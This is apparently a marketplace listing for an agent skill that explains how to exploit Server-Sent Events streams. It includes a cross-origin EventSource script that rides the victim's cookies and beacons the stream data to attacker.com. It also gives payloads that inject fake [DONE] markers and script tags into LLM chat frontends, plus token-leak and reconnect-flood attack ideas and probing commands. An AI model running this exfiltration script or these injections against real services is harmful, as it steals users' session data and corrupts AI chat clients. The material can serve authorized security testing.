Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
69
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)EventSource)EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}Last-Event-IDSSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.Connection: keep-alive + text/event-stream).e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.